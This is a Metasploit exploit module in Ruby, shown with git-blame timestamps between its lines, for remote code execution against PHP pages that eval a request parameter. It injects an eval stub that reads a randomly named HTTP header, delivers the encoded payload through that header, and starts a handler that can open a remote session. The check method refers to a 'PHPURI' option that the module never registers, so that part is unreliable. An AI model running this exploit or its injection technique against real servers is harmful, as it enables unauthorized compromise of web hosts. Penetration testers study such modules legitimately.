2008-10-13 05:55:10 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-10-13 05:55:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ManualRanking
|
2008-10-13 05:55:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2008-10-13 05:55:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Generic PHP Code Evaluation',
|
|
|
|
'Description' => %q{
|
|
|
|
Exploits things like <?php eval($_REQUEST['evalme']); ?>
|
|
|
|
It is likely that HTTP evasion options will break this exploit.
|
|
|
|
},
|
|
|
|
'Author' => [ 'egypt' ],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' => [ ],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
# max header length for Apache,
|
|
|
|
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
|
|
|
|
'Space' => 8190,
|
|
|
|
# max url length for some old versions of apache according to
|
|
|
|
# http://www.boutell.com/newfaq/misc/urllength.html
|
|
|
|
#'Space' => 4000,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'DisclosureDate' => 'Oct 13 2008',
|
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
2008-10-13 05:55:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
|
|
|
|
], self.class)
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2008-10-13 05:55:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
uri = datastore['PHPURI'].gsub(/\?.*/, "")
|
|
|
|
print_status("Checking uri #{uri}")
|
|
|
|
response = send_request_raw({ 'uri' => uri})
|
|
|
|
if response.code == 200
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
2014-01-21 19:03:36 +00:00
|
|
|
vprint_error("Server responded with #{response.code}")
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2009-09-10 05:24:03 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
# very short timeout because the request may never return if we're
|
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
2008-10-13 05:55:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
|
|
|
|
stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
2009-04-19 15:47:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
|
|
|
|
print_status("Sending request for: http#{ssl ? "s" : ""}://#{rhost}:#{rport}#{uri}")
|
|
|
|
print_status("Payload will be in a header called #{headername}")
|
2011-05-12 22:46:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
response = send_request_raw({
|
|
|
|
'global' => true,
|
|
|
|
'uri' => uri,
|
|
|
|
'headers' => {
|
|
|
|
headername => payload.encoded,
|
|
|
|
'Connection' => 'close'
|
|
|
|
}
|
|
|
|
},timeout)
|
|
|
|
if response and response.code != 200
|
|
|
|
print_error("Server returned non-200 status code (#{response.code})")
|
|
|
|
end
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2009-04-19 15:47:14 +00:00
|
|
|
end
|